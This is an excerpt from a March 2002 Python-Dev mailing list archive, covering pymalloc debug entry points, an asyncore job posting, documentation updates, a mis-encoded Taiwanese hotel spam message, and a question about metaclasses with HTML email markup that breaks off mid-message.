Date: Sat, 23 Mar 2002 18:59:59 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <2mwuw4naf2.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKECMOHAA.tim.one@comcast.net>

[Michael Hudson]
>>> Yes.  Particularly if you can call it from gdb.

[Tim]
>> Is something extraordinary required to make that possible?  I
>> had in mind nothing fancier than
>>
>> extern void _PyMalloc_DebugCheckAddress(void* p);

That grew a teensy bit fancier:  the arg changed to const.  A void
_PyMalloc_DebugCheckAddress(const void *p) entry also sprouted, to display
info about the memory block p, to stderr.  It should really go somewhere
else on Windows, but too little bang for the buck for me to bother
complicating it more.

[Michael]
> Dunno.  I ought to learn how to use gdb properly.

Let me know if you hit a snag.  They're simple enough that I can get away
with calling them in an MSVC "watch window", and I sure hope gdb isn't
feebler than that <wink>.

[Aahz]
> I'm almost certainly betraying my ignorance here, but it sounds to
> me like malloc isn't doing any sanity checking to make sure that the
> memory it received isn't already being used.

Well, malloc doesn't receive memory, it allocates it, and
_PyMalloc_DebugMalloc just wraps somebody *else's* malloc.  It's not trying
to debug the platform malloc, it's trying to debug "the user's" (Python's)
use of the memory malloc returns.

> Should each PyDebugMalloc() walk through the list of used memory?

There isn't any list for it to walk -- it's not an allocator, it's a wrapper
around somebody's else's allocator, and has no knowledge of how the
allocator(s) it calls work (beyond assuming that they meet the C defns of
how malloc() & friends must behave).

One thing we *could* do, but I'll leave it to someone else:  in a debug
build, Python maintains a linked list (in the C sense, not the Python sense)
of "almost all" live objects.  Walking that list and calling
_PyMalloc_DebugCheckAddress() on each object should detect "almost all"
out-of-bounds stores that may have happened since the last time that was
done.  That first requires a way to make all calls to all allocators funnel
thru the debug malloc wrappers (the code right now only wraps calls to the
pymalloc allocator).

[Skip Montanaro]
> Any possibility that the __LINE__ or __FILE__:__LINE__ at which a
> chunk of memory was freed could be imprinted as ASCII in freed memory
> without changing the API?

Which API?  Regardless of the answer <wink>, I'm not yet sure it's even
possible to get a little integer identifying the "API family" through the
macro layers correctly.  That's much more important to me, since it
addresses a practical widespread problem.  If you want to redesign the
macros to make that possible, I expect it would also make passing anything
else thru the macros possible too <hint>.

> I'd find something like
>
>     <0340><0340><0340><0340><0340>
>
> or
>
>     <object.c:0340><object.c:0340>
>
> more useful than a string of
>
>     0xDB0xDB0xDB0xDB0xDB0xDB0xDB0xDB
>
> bytes.

I'm not sure that I would.  The advantage of 0xdbdbdbdbdb... is two-fold:

1. In a debugger, the 0xdbdbdb... stuff stands out like an inflamed boil.
   The second or third time you see it happen in real life, concluding
   "ah, this PyObject* was already freed!" becomes automatic.

2. 0xdbdbdbdb is very likely an invalid memory address, so that, e.g.,
   attempting to do op->ob_type on an already-freed PyObject* op is
   very likely to trigger a memory error.

We may be able to get the best of both worlds by storing ASCII in the tail
end of freed memory (for whatever reason, vital pointers tend to show up
near the start of a struct).

As-is, the "serial number" of the block is left behind, so you can determine
which call to malloc created (or call to realloc last changed) the block.
Then in a second run, you can set a counting breakpoint to trigger on that
call to the debug malloc/realloc, and after that triggers set a conditional
breakpoint in the debug free (to break when the memory address is free'd).
Then you'll catch the free at the time it occurs.  There are ways this can
fail to work <wink>.

> I did something similar in a small single-file library I've been
> working on, though I didn't pay much attention to preserving the
> malloc/free API because, like I said, it was something small.  I
> simply changed all free() calls to something like
>
>     MARK_TERRITORY(s, strlen(s), __LINE__);
>     free(s);
>
> (The second arg was appropriate to the size of the memory chunk being
> freed.)

We can make the new-in-2.3 _PyMalloc_XXX calls do anything you can dream up,
but my time on this has been of the "do a right thing and apologize later"
flavor.  Whoever wants substantially more is going to have to do most of the
work to get it.



From rushing@nightmare.com  Sun Mar 24 00:40:29 2002
From: rushing@nightmare.com (Sam Rushing)
Date: 23 Mar 2002 16:40:29 -0800
Subject: [medusa] Re: [Python-Dev] asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <E16omDC-000660-00@imp>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org>
 <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
 <E16omDC-000660-00@imp>
Message-ID: <1016930429.334.61.camel@fang.nightmare.com>

--=-V/KcS3EdEDxGK29Uwn/W
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Sat, 2002-03-23 at 06:09, Zooko wrote:
> (It will also, I think, clear the way for an implementation of the async =
module=20
> which uses nice new async I/O like FreeBSD's kqueue for excellent perform=
ance.)

Ok, that does it. 8^) I ask for forgiveness in advance if this is
verboten on python-dev...

If anyone living in the bay area would like to work with a
high-performance nth-generation medusa/asyncore-like system that's
combining stackless python with freebsd's kqueue, please drop me a
note.  This is at a 15-month-old startup that's doing great.

-Sam


--=-V/KcS3EdEDxGK29Uwn/W
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQA8nSB996I2VlFshRwRAt4sAKC02B9ycFl+prabf3LeSJDsTqA+DACdHeb4
3b6W9ZXBYpW/f/abxfxNyWY=
=cZ55
-----END PGP SIGNATURE-----

--=-V/KcS3EdEDxGK29Uwn/W--



From aahz@pythoncraft.com  Sun Mar 24 00:54:08 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sat, 23 Mar 2002 19:54:08 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKECMOHAA.tim.one@comcast.net>
References: <2mwuw4naf2.fsf@starship.python.net> <LNBBLJKPBEHFEDALKOLCKECMOHAA.tim.one@comcast.net>
Message-ID: <20020324005408.GB18796@panix.com>

On Sat, Mar 23, 2002, Tim Peters wrote:
> [Aahz]
>>
>> I'm almost certainly betraying my ignorance here, but it sounds to
>> me like malloc isn't doing any sanity checking to make sure that the
>> memory it received isn't already being used.
> 
> Well, malloc doesn't receive memory, it allocates it, and
> _PyMalloc_DebugMalloc just wraps somebody *else's* malloc.  It's not trying
> to debug the platform malloc, it's trying to debug "the user's" (Python's)
> use of the memory malloc returns.

Okay, you *really* meant it when you said that your debug wrapper
doesn't touch the underlying malloc() implmentation.  ;-)
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From barry@zope.com  Sun Mar 24 01:47:14 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Sat, 23 Mar 2002 20:47:14 -0500
Subject: [Python-Dev] [development doc updates]
References: <20020323222421.8D11C28696@beowolf.fdrake.net>
Message-ID: <15517.12322.143006.15447@anthem.wooz.org>

>>>>> "Fred" == Fred L Drake <fdrake@acm.org> writes:

    Fred> If you can't tell what the changes are, visit a page that
    Fred> needs to be scrolled to see the whole thing, and try
    Fred> scrolling it!

Fred!  Very very cool.  Since I'm using the one true browser <0.9.9
wink> this works great.  Would this work with a side bar a la
ht2html's output?

-Barry


From fdrake@acm.org  Sun Mar 24 04:42:00 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Sat, 23 Mar 2002 23:42:00 -0500
Subject: [Python-Dev] [development doc updates]
In-Reply-To: <15517.12322.143006.15447@anthem.wooz.org>
References: <20020323222421.8D11C28696@beowolf.fdrake.net>
 <15517.12322.143006.15447@anthem.wooz.org>
Message-ID: <15517.22808.837156.773060@grendel.zope.com>

Barry A. Warsaw writes:
 > Fred!  Very very cool.  Since I'm using the one true browser <0.9.9
 > wink> this works great.  Would this work with a side bar a la
 > ht2html's output?

I was wondering about that myself!  Haven't had time to play with that
yet, though.  I still need to a file a bug with Mozilla that I noticed
while working with this.  Erin was up late tonight, though, thanks to
her being sick & taking a long nap this afternoon.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From gohotel@gotohotel.com.tw  Sun Mar 24 06:11:43 2002
From: gohotel@gotohotel.com.tw (¥ø·~®a¤j¶º©±(¥xÆW.¥x¤¤))
Date: Sun, 24 Mar 2002 14:11:43 +0800
Subject: [Python-Dev] ­»´ä¶g-´_¬¡¸`¯S´f¬¡°Ê
Message-ID: <E16p1E8-0003EQ-00@mail.python.org>

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=big5">
<title>home-test</title>
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta name="Microsoft Border" content="none, default">
</head>
<body bgcolor="#FFFF99">










<div align="center">
  <font color="#ff0000" size="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong><font size="5">­»´ä¶g-´_¬¡¸`¯S´f¬¡°Ê</font></strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font>
</div>










<div align="center">
  ¡@</div>
<div align="center">
  <font color="#ff0000" size="2">¸g¥Ñ¦¹ Emaill §iª¾±z¸Ô²Ó¤º®e</font></div>
<div align="center">
  ¡@</div>
<div align="center">
  <font size="2">&nbsp;<font color="#808080"><strong><font color="#ff0000"><font size="3">¹L©]½Ð¤W&nbsp;&nbsp;
  </font><a href="http://gohotel.com.tw"><font size="5">http://</font><font size="6">gohotel.com.tw</font></a><font size="3">&nbsp;&nbsp;&nbsp; 
  ºô¯¸ÂsÄý</font></font></strong></font></font></div>
<div align="center">
      <font color="#ff0000" size="2">
        <b><font color="#0000FF">¥xÆW.¥x¤¤</font></b></font></div>
<div align="center">
  <font size="2"><font color="#808080"><font color="#800080"><strong>Your best 
  choice for accommodation in Taichung.</strong></font></div>
<div align="center">
  <div align="center">
    <div align="center">
      <font color="#ff0000">¤@¦¸º¡¨¬&nbsp;&nbsp;&nbsp;&nbsp; ¦í±J.¦Y³Ü.ª±¼Ö.Áʪ«&nbsp;&nbsp;&nbsp;&nbsp; ¤@¦¸º¡¨¬</font></div>
    <div align="center">
      ¡@</div>
    <div align="center">
      <font color="#ff0000">
      <div align="center">
        <strong><font color="#008000" size="5">¥ø·~®a¤j¶º©±&nbsp; Âù¬P¤j¶º©±</font></strong></div>
      <div align="center">
        ¡@</div>
      <div align="center">
        <font color="#008000"><strong>¦h¦¸ºaÀò¥x¤¤¥«Àu¨}®ÈÀ]µûŲ²Ä¤@¦W</strong></font></div>
      <div align="center">
        ¡@</div>
      </font>
    </div>
      </font>
    <div align="center">
      <font color="#800000"><strong>­Y±z¤£·Q¦A¦¬¨ì¦¹¬¡°Ê</strong></font></div>
    <div align="center">
      <font color="#800000">½Ð¥Ñ&nbsp;<a href="mailto:gohotel@gotohotel.com.tw?subject=½Ð¤£¥²±HEmailµ¹§Ú-HK">gohotel@gotohotel.com.tw</a>&nbsp;§iª¾§Ú­Ì&nbsp; 
      ÁÂÁÂ</div>
    </font>
  </div>
</div>
</font>
<p>¡@</p>

</body>


From rs96057@hotmail.com  Sun Mar 24 09:07:57 2002
From: rs96057@hotmail.com (Dimitris Garanatsios)
Date: Sun, 24 Mar 2002 11:07:57 +0200
Subject: [Python-Dev] Info needed on metaclasses / type-ing
Message-ID: <000501c1d313$63f2a410$e6d9cdd4@BABIS>

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01C1D324.277B7410
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

I recently browsed through an unfinished book of Bruce Eckel, "Thinking
in Python", Revision 0.1.2
I can't remember the URL where i got it, but i found it through
searching for documentation on Python from the main site, www.python.org
 
I found the following peace of code there:
 
------------------------------------------------------------------
                
#: c01:SingletonMetaClass.py
class SingletonMetaClass(type):
    def __init__(cls, name, bases, dict):
        super(SingletonMetaClass, cls).__init__(name, bases, dict)
        original_new = cls.__new__
 
        def my_new(cls, *args, **kwds):
            if cls.instance == None:
                cls.instance = original_new(cls, *args, **kwds)
            return cls.instance
 
        cls.instance = None
        cls.__new__ = staticmethod(my_new)
 
class bar(object):
    __metaclass__ = SingletonMetaClass
 
    def __init__(self,val):
        self.val = val
 
    def __str__(self):
        return `self` + self.val
 
...
#:~
 
------------------------------------------------------------------
 
My question is about the "SingletonMetaClass" class.
I have tried in the past to create my own types using Python and just
could not find a way of doing that since built-in type objects'
structure where not documented.
 
The "SingletonMetaClass though", as far as i can understand, please help
me with that, is doing exactly what i wanted: a new type definition. I
browsed Python's manuals to find more about the attributes and functions
that are used, but found nothing...
 
Could anyone help me find information about the meaning and use of the
following attributes/functions/objects? These are:
 
--- the "__metaclass__" attribute of the "bar" class (derived from
object)
 
--- the "object" object itself
 
--- the "super" function used in the "SingletonMetaClass" class (a class
for a new type object?)
 
--- the "__new__" attribute/method of a class (applies to any class?)
 
--- the "staticmethod" function used in the "SingletonMetaClass" class
 
--- any additional info about related classes or functions that are not
used in the above example but exist and are available to use
 
Thanx, Dimitris
 

------=_NextPart_000_0006_01C1D324.277B7410
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C1D280.D8EC0D80">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0cm;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;
	mso-header-margin:35.4pt;
	mso-footer-margin:35.4pt;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
	mso-para-margin:0cm;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEL link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:36.0pt'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I recently browsed =
through an
unfinished book of Bruce <span class=3DSpellE>Eckel</span>, =
&quot;Thinking in
Python&quot;, Revision 0.1.2<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I can't remember the =
URL
where <span class=3DSpellE>i</span> got it, but <span =
class=3DSpellE>i</span> found
it through searching for documentation on Python from the main site,
www.python.org<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I found the following =
peace
of code there:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'>-------------------------------------------=
-----------------------<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'tab-stops:93.0pt'><font size=3D2 =
face=3D"Courier New"><span
lang=3DEN-GB style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:
EN-GB'><span =
style=3D'mso-tab-count:1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'>#:
c01:SingletonMetaClass.py<o:p></o:p></span></font></p>

<p class=3DMsoNormal><span class=3DGramE><font size=3D2 face=3D"Courier =
New"><span
lang=3DEN-GB style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:
EN-GB'>class</span></font></span><font size=3D2 face=3D"Courier =
New"><span
lang=3DEN-GB style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:
EN-GB'> <span =
class=3DSpellE>SingletonMetaClass</span>(type):<o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp; </span><span =
class=3DGramE>def</span> __init__(<span
class=3DSpellE>cls</span>, name, bases, <span =
class=3DSpellE>dict</span>):<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DGramE>super(</span><span
class=3DSpellE>SingletonMetaClass</span>, <span =
class=3DSpellE>cls</span>).__init__(name,
bases, <span class=3DSpellE>dict</span>)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DSpellE>original_new</span>
=3D <span class=3DSpellE>cls.__new</span>__<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DGramE>def</span> <span
class=3DSpellE>my_new</span>(<span class=3DSpellE>cls</span>, *<span =
class=3DSpellE>args</span>,
**<span class=3DSpellE>kwds</span>):<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; </span><span class=3DGramE>if</span> <span
class=3DSpellE>cls.instance</span> =3D=3D =
None:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span =
class=3DSpellE>cls.instance</span>
=3D <span class=3DSpellE>original_<span =
class=3DGramE>new</span></span><span
class=3DGramE>(</span><span class=3DSpellE>cls</span>, *<span =
class=3DSpellE>args</span>,
**<span class=3DSpellE>kwds</span>)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; </span><span class=3DGramE>return</span> <span
class=3DSpellE>cls.instance</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DSpellE>cls.instance</span>
=3D <span class=3DGramE>None</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DSpellE>cls.__new</span>__ =3D
<span class=3DSpellE><span class=3DGramE>staticmethod</span></span><span
class=3DGramE>(</span><span =
class=3DSpellE>my_new</span>)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><span class=3DGramE><font size=3D2 face=3D"Courier =
New"><span
lang=3DEN-GB style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:
EN-GB'>class</span></font></span><font size=3D2 face=3D"Courier =
New"><span
lang=3DEN-GB style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:
EN-GB'> bar(object):<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp; </span>__<span =
class=3DSpellE>metaclass</span>__ =3D <span
class=3DSpellE>SingletonMetaClass</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp; </span><span =
class=3DGramE>def</span> __init__(<span
class=3DSpellE>self,val</span>):<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DSpellE>self.val</span> =3D <span
class=3DSpellE><span =
class=3DGramE>val</span></span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp; </span><span =
class=3DGramE>def</span> __<span
class=3DSpellE>str</span>__(self):<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><span
style=3D'mso-spacerun:yes'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
</span><span class=3DGramE>return</span> `self`
+ <span class=3DSpellE>self.val</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'>...<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'>#:~<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3D"Courier New"><span =
lang=3DEN-GB
style=3D'font-size:10.0pt;font-family:"Courier =
New";mso-ansi-language:EN-GB'>-------------------------------------------=
-----------------------<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>My question is about =
the
&quot;<span class=3DSpellE>SingletonMetaClass</span>&quot; =
class.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>I have tried in the =
past to
create my own types using Python and just could not find a way of doing =
that
since built-in type objects' structure where not =
documented.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>The &quot;<span =
class=3DSpellE>SingletonMetaClass</span>
though&quot;, as far as <span class=3DSpellE>i</span> can understand, =
please help
me with that, is doing exactly what <span class=3DSpellE>i</span> =
wanted: a new
type definition. I browsed Python's manuals to find more about the =
attributes
and functions that are used, but found =
nothing...<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>Could anyone help me =
find
information about the meaning and use of the following
attributes/functions/objects? These are:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>--- <span =
class=3DGramE>the</span>
